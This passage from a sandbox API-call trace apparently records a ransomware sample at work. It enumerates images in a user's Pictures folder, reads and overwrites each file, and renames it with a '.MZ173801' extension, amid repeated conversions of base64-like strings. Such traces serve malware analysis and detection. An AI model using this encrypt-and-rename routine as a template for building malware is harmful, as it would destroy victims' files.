Y3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.722] GetCurrentThreadId () returned 0x9fc [0122.722] GetCurrentThreadId () returned 0x9fc [0122.722] GetCurrentThreadId () returned 0x9fc [0122.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.722] GetCurrentThreadId () returned 0x9fc [0122.722] GetCurrentThreadId () returned 0x9fc [0122.722] GetCurrentThreadId () returned 0x9fc [0122.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MIlEcqTtx7JV xwb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\milecqttx7jv xwb.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.723] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.724] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.724] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xbdcb [0122.724] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.724] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xbdcb, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xbdcb, lpOverlapped=0x0) returned 1 [0122.725] CloseHandle (hObject=0x288) returned 1 [0122.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MIlEcqTtx7JV xwb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\milecqttx7jv xwb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.728] WriteFile (in: hFile=0x288, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xbdcb, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f99c*=0xbdcb, lpOverlapped=0x0) returned 1 [0122.730] CloseHandle (hObject=0x288) returned 1 [0122.735] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MIlEcqTtx7JV xwb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\milecqttx7jv xwb.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MIlEcqTtx7JV xwb.jpg.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\milecqttx7jv xwb.jpg.mz173801")) returned 1 [0122.736] GetCurrentThreadId () returned 0x9fc [0122.736] GetCurrentThreadId () returned 0x9fc [0122.736] GetCurrentThreadId () returned 0x9fc [0122.736] GetCurrentThreadId () returned 0x9fc [0122.736] GetCurrentThreadId () returned 0x9fc [0122.736] GetCurrentThreadId () returned 0x9fc [0122.736] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bc27fe0, ftCreationTime.dwHighDateTime=0x1d5dffa, ftLastAccessTime.dwLowDateTime=0xd67a8220, ftLastAccessTime.dwHighDateTime=0x1d5e194, ftLastWriteTime.dwLowDateTime=0xd67a8220, ftLastWriteTime.dwHighDateTime=0x1d5e194, nFileSizeHigh=0x0, nFileSizeLow=0x16aa8, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="oeKdrwZ.bmp", cAlternateFileName="")) returned 1 [0122.736] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.736] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oeKdrwZ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oekdrwz.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bc27fe0, ftCreationTime.dwHighDateTime=0x1d5dffa, ftLastAccessTime.dwLowDateTime=0xd67a8220, ftLastAccessTime.dwHighDateTime=0x1d5e194, ftLastWriteTime.dwLowDateTime=0xd67a8220, ftLastWriteTime.dwHighDateTime=0x1d5e194, nFileSizeHigh=0x0, nFileSizeLow=0x16aa8)) returned 1 [0122.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.740] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.741] GetCurrentThreadId () returned 0x9fc [0122.742] GetCurrentThreadId () returned 0x9fc [0122.742] GetCurrentThreadId () returned 0x9fc [0122.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.742] GetCurrentThreadId () returned 0x9fc [0122.742] GetCurrentThreadId () returned 0x9fc [0122.742] GetCurrentThreadId () returned 0x9fc [0122.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oeKdrwZ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oekdrwz.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.743] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.743] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.743] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x16aa8 [0122.743] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.743] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x16aa8, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x16aa8, lpOverlapped=0x0) returned 1 [0122.745] CloseHandle (hObject=0x288) returned 1 [0122.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oeKdrwZ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oekdrwz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.748] WriteFile (in: hFile=0x288, lpBuffer=0x72c540*, nNumberOfBytesToWrite=0x16aa8, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72c540*, lpNumberOfBytesWritten=0x18f99c*=0x16aa8, lpOverlapped=0x0) returned 1 [0122.751] CloseHandle (hObject=0x288) returned 1 [0122.755] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oeKdrwZ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oekdrwz.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oeKdrwZ.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oekdrwz.bmp.mz173801")) returned 1 [0122.755] GetCurrentThreadId () returned 0x9fc [0122.755] GetCurrentThreadId () returned 0x9fc [0122.755] GetCurrentThreadId () returned 0x9fc [0122.756] GetCurrentThreadId () returned 0x9fc [0122.756] GetCurrentThreadId () returned 0x9fc [0122.756] GetCurrentThreadId () returned 0x9fc [0122.756] FindNextFileW (in: hFindFile=0x2fc680, 